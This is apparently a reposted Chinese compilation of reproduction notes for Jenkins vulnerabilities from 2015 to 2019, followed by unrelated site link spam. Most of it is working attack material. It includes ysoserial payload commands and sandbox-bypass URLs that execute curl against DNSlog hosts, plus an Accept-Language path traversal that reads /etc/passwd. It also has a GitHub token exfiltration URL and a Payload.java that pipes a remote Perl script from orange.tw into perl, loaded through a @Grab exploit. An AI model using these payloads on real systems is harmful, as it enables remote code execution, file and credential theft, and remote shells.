当前位置： 首页 > news >正文

网站建设及运维合同做电影网站用什么虚拟主机

news 2025/9/16 16:42:32
网站建设及运维合同,做电影网站用什么虚拟主机,网站空间哪家做的好,专门做图的网站目录 CVE-2015-8103 反序列化远程代码执行 CVE-2016-0788 Jenkins CI和LTS 远程代码执行漏洞 CVE-2016-0792 低权限用户命令执行 CVE-2016-9299 代码执行 CVE-2017-1000353 Jenkins-CI 远程代码执行 CVE-2018-1000110 用户枚举 CVE-2018-1000861 远程命令执行 CVE-2018…

目录

CVE-2015-8103 反序列化远程代码执行

CVE-2016-0788 Jenkins CI和LTS 远程代码执行漏洞

CVE-2016-0792 低权限用户命令执行

CVE-2016-9299 代码执行

CVE-2017-1000353 Jenkins-CI 远程代码执行

CVE-2018-1000110 用户枚举

CVE-2018-1000861 远程命令执行

CVE-2018-1999002 任意文件读取

CVE-2018-1000600 Jenkins GitHub 信息泄露

CVE-2019-1003000 远程代码执行

CVE-2019-1003005 远程代码执行

CVE-2019-1003029 Script Security Plugin沙箱绕过

CVE-2019-10392 Jenkins Git 插件命令执行

CVE-2019-10352 任意文件写入

复现文章和脚本大都是网上收集，大部分能找到出处的，个别找不到明确的地址。

CVE-2015-8103 反序列化远程代码执行

1.638之前的Jenkins和1.625.2之前的LTS中的Jenkins CLI子系统，允许远程攻击者通过制作的序列化Java对象执行有问题的commons-collections。

利用脚本：https://github.com/LeoHuang2015/jenkins-cli-exploit

执行后有类似如下反应：

image-20200327115239320

还可以使用msf中的模块exploit/linux/misc/jenkins_java_deserialize来执行攻击反弹shell。

CVE-2016-0788 Jenkins CI和LTS 远程代码执行漏洞

CloudBeesJenkinsCI1.650之前版本和LTS1.642.2之前版本的remoting模块中存在安全漏洞。远程攻击者可通过打开JRMP监听程序利用该漏洞执行任意代码。

利用需要X-Jenkins-CLI2-Port对应的端口，如果Jenkins无法获取CLI版本2的端口标头“ X-Jenkins-CLI2-Port”，它会退回到版本1。

利用ys生成二进制文件：java -jar ysoserial.jar CommonsCollections3 "curl http://r9rub4.ceye.io/" > payload.bin

利用脚本：https://github.com/foxglovesec/JavaUnserializeExploits/blob/master/jenkins.py

发送的二进制文件实际上是十六进制的(<===[JENKINS REMOTING CAPACITY]===>)与其后base64的编码构成。使用类似反应如下：

image-20200327121322560

CVE-2016-0792 低权限用户命令执行

影响版本：jenkins小于 1.650

利用脚本：https://github.com/jpiechowka/jenkins-cve-2016-0792

执行后类似如下

image-20200327120724417

CVE-2016-9299 代码执行

2.32之前的Jenkins和2.19.3之前的LTS中的远程处理模块允许远程攻击者通过精心制作的序列化Java对象执行任意代码，从而触发对第三方服务器的LDAP查询。

关于这个漏洞的分析和代码利用，已经有详细的分析文章：https://paper.seebug.org/199/

msf有成熟的利用模块：exploit/linux/misc/jenkins_ldap_deserialize

CVE-2017-1000353 Jenkins-CI 远程代码执行

影响版本：Jenkins<=2.56。Jenkins LTS <= 2.46.1

下载pochttps://github.com/vulhub/CVE-2017-1000353

执行生成字节码文件。

java -jar CVE-2017-1000353-SNAPSHOT-all.jar jenkins_poc.ser "curl http://xxx.ceye.io"

利用py文件来进行发送

python exploit.py http://x.x.x.x:8080 jenkins_poc.ser

会有如下反应

image-20200325165630218

CVE-2018-1000110 用户枚举

模糊搜索：http://x.x.x.x:8080/search/?q=a

image-20200325165813965

http://x.x.x.x:8080/search/suggest?query=a

image-20200325165911492

如果git插件小于3.7，也可以使用如下

http://x.x.x.x:8080/git/search/?q=a

http://x.x.x.x:8080/git/search/suggest?query=a

CVE-2018-1000861 远程命令执行

可以使用如下的一键化脚本

https://github.com/orangetw/awesome-jenkins-rce-2019

也可以自定义发送请求

http://x.x.x.x:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public class x {public x(){"curl http://xxx.ceye.io/CVE-2018-1000861".execute()}}

页面返回空白，响应为

image-20200325171107715

如果使用脚本，则同样效果

image-20200325171239538

还可以使用的POC，使用会提示错误信息，但命令已执行。

/securityRealm/user/test/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=import+groovy.transform.*%0a%40ASTTest(value%3d%7bassert+java.lang.Runtime.getRuntime().exec("curl http://xxx.ceye.io/CVE-2018-1000861")%7d)%0aclass+Person%7b%7d
/securityRealm/user/test/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=import+groovy.transform.*%0a%40ASTTest(value%3d%7b+"curl http://xxx.ceye.io/CVE-2018-1000861".execute().text+%7d)%0aclass+Person%7b%7d

环境搭建

参考：Vulhub - Docker-Compose file for vulnerability environment

执行如下命令启动一个Jenkins 2.138，包含漏洞的插件也已经安装：

docker-compose up -d

环境启动后，访问http://your-ip:8080即可看到一个已经成功初始化的Jenkins，无需再进行任何操作。

漏洞复现

使用 @orangetw 给出的一键化POC脚本，发送如下请求即可成功执行命令：

 

  1.  
    http://your-ip:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript
     
  2.  
    ?sandbox=true
     
  3.  
    &value=public class x {
     
  4.  
    public x(){
     
  5.  
    "touch /tmp/success".execute()
     
  6.  
    }
     
  7.  
    }
     


 

/tmp/success已成功创建：
 

 

 
 

CVE-2018-1999002 任意文件读取
 

影响版本：Jenkins weekly 2.132 以及更早的版本。Jenkins LTS 2.121.1 以及更早的版本
 

可以读取Windows系统服务器中的任意文件，且在特定而条件下也可以读取Linux系统服务器中的文件.
 

详情：https://xz.aliyun.com/t/2486
 

结合payload来看，我们请求的url为/plugin/credentials/.ini，则base为空，扩展名（ext变量）即为.ini，然后通过一系列的尝试openURL，在此例中即最后一个情形con = openURL(map(base+'_'+ locale.getLanguage()+ext));，会去请求_../../../../../../../../../../../../windows/win.ini ，尽管目录_..并不存在，但在win下可以直接通过路径穿越来绕过。但在linux，则需要一个带有_的目录来想办法绕过。
 

需要已经开启了匿名用户读取权限，在请求头中添加
 

 

Accept-Language: /../../../../../../../../etc/passwd
 

处理请求中的包含路径，比如/plugin/xxxx，可以尝试
 

 

/plugin/jquery-detached/.xml
 

/plugin/jquery-detached/.key
 

/plugin/credentials/.ini
 

在Windows下这么使用
 

 

  1.  
    GET /plugin/credentials/.ini HTTP/1.1
     
  2.  
    Host: x.x.x.x:8080
     
  3.  
    Accept: text/javascript, text/html, application/xml, text/xml, */*
     
  4.  
    X-Prototype-Version: 1.7
     
  5.  
    DNT: 1
     
  6.  
    X-Requested-With: XMLHttpRequest
     
  7.  
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.106 Safari/537.36
     
  8.  
    Origin: http://x.x.x.x:8080
     
  9.  
    Referer: http://x.x.x.x:8080/
     
  10.  
    Accept-Encoding: gzip, deflate
     
  11.  
    Accept-Language: /../../../../../../../../etc/passwd
     
  12.  
    Cookie: JSESSIONID.450017e3=x6kdpnkcgllh18wvlaohsqq8z; screenResolution=1920x1080; JSESSIONID.ccf0cd96=node09crp5bs5eglyrv874no3w48l0.node0; JSESSIONID.6551b177=14vcq2nsop6bw1u8urepj65kwv; td_cookie=1608956971
     
  13.  
    Connection: close
     


CVE-2018-1000600 Jenkins GitHub 信息泄露
 

影响版本：Jenkins GitHub插件小于1.29.1
 

利用的POC为，其中user1为用户名。
 

/securityRealm/user/user1/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://xxx.ceye.io
 

执行后显示
 

image-20200326173809956
 

查看DNSlog回显
 

image-20200326173837239
 

CVE-2019-1003000 远程代码执行
 

实际影响版本及编号：CVE-2019-1003000 (Script Security), CVE-2019-1003001 (Pipeline: Groovy), CVE-2019-1003002 (Pipeline: Declarative)
 

拥有Overall/Read 权限的用户可以绕过沙盒保护，在jenkins可以执行任意代码。此漏洞需要一个账号密码和一个存在的job。受影响插件版本：Pipeline: Declarative 插件 <= 1.3.4。Pipeline: Groovy 插 件 <= 2.61。Script Security 插 件 <= 1.49。
 

下载环境和利用代码：https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc.git
 

执行利用后显示
 

image-20200326112837107
 

我们的job中也被添加了如下
 

image-20200326112903149
 

CVE-2019-1003005 远程代码执行
 

受影响版本：
 

  1. Jenkins 2.53
  2. Jenkins 2.122
  3. Jenkins 2.137
  4. Jenkins 2.138 启用匿名读取
  5. Jenkins 2.152 启用匿名读取
  6. Jenkins 2.153 启用匿名读取
  7. Script Security Plugin 1.43
  8. Script Security Plugin 1.48


下载利用脚本：https://github.com/orangetw/awesome-jenkins-rce-2019
 

构建环境后，执行脚本如下
 

image-20200326124130037
 

显示如下
 

image-20200326124151396
 

当然如果不想使用这种一键式脚本还可以自己构造jar来利用
 

创建Payload.java
 

 

  1.  
    public class Payload {
     
  2.  
    public Payload(){
     
  3.  
    try {
     
  4.  
    String payload = "curl orange.tw/bc.pl | perl -";
     
  5.  
    String[] cmds = {"/bin/bash", "-c", payload};
     
  6.  
    java.lang.Runtime.getRuntime().exec(cmds);
     
  7.  
    } catch (Exception e) { }
     
  9.  
    }
     
  10.  
    }
     


编译文件，创建META-INF/services/文件夹，同时在文件夹下创建名为org.codehaus.groovy.plugins.Runners的文件。内容随意，比如Payload
 

文件创建后，在某一目录下，文件树类似如下：
 

image-20200327093359850
 

编译以上目录jar cvf poc-1.jar code/
 

将编译产生的文件移动到类似如下地址cp poc-1.jar ~/www/code/payload/poc/1/
 

将www目录移动到web服务器中，地址类似：http://xxx.com/code/payload/poc/1.poc-1.jar
 

利用如下exp
 

 

  1.  
    http://<TARGET HOST>/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile
     
  2.  
    ?value=
     
  3.  
    @GrabConfig(disableChecksums=true)%0a
     
  4.  
    @GrabResolver(name='payload', root='http://<EXPLOIT HOST>')%0a
     
  5.  
    @Grab(group='package', module='payload', version='1')%0a
     
  6.  
    import Payload;
     


CVE-2019-1003029 Script Security Plugin沙箱绕过
 

此漏洞和CVE-2019-1003005漏洞同样都是由Script Security插件引起。利用方式和上一致。影响版本1.55以下。
 

CVE-2019-10392 Jenkins Git 插件命令执行
 

之前做过这个漏洞的复现，地址：CVE-2019-10392 Jenkins 2k19认证远程RCE ~ Misaki's Blog
 

CVE-2019-10352 任意文件写入
 

该漏洞使经过身份验证的具有Job/Configure权限的攻击者可以使用目标之外的文件名定义文件参数，从而导致任意文件写入。
 

创建一个名为test的新“自由式项目”（该项目的工作空间将位于JENKINS_HOME/workspace/test）





http://www.yayakq.cn/news/289182/






相关文章：


  • 
做网站颜色类型是啥德泰诺网站建设

    • 

  • 
怎么快速做网站排名房子在线设计平台

    • 

  • 
广西住房城乡建设厅官网站梵客联盟

    • 

  • 
青岛网站建设的方案网站开发项目规划

    • 

  • 
花都营销型网站建设公司忘记网站后台地址

    • 

  • 
电子商务网站详细设计手机和电脑的wordpress

    • 

  • 
邢台网站关键词优化wordpress微网站模板

    • 

  • 
手机端网站开发流程图少儿编程老师需要具备什么条件

    • 

  • 
烟台定制网站建设电话四川公众项目咨询管理有限公司

    • 

  • 
青岛网站seo价格成都 网站改版

    • 

  • 
怎样设计个人网站网站开发的主题

    • 

  • 
网站建设主要包括两个方面找合作项目app平台

    • 

  • 
网站建设过程总结营销型 网站开发

    • 

  • 
曲靖手机网站建设费用html代码规范

    • 

  • 
网站设计需要什么专业天津网站设计推荐刻

    • 

  • 
深圳建设网站top028网站代码在哪里修改

    • 

  • 
手机 网站制作如何自己做视频网站

    • 

  • 
手机怎么制作自己的网站srm采购管理系统

    • 

  • 
高效网站推广方案云霄县建设局网站

    • 

  • 
支持企业网站发布要怎么做域名后有个wordpress

    • 

  • 
西宁集团网站建设株洲网站建设费用

    • 

  • 
网站如何做竞价分类信息的网站排名怎么做

    • 

  • 
怎么查看网站死链接做购物网站最开始没人怎么办

    • 

  • 
微信微网站教程莱芜金点子下载

    • 

  • 
怎么建设投票网站长沙网站建设找哪家

    • 

  • 
电子商务网站建设实践报告摘要一个网站需要多少网页

    • 

  • 
外企公司网站开发设计wordpress qq头像不显示不出来

    • 

  • 
网站建设的源代码crm管理系统

    • 

  • 
重庆智能网站建设费用广州建站快车

    • 

  • 
360怎么变成建设银行首选网站礼服外贸网站

    •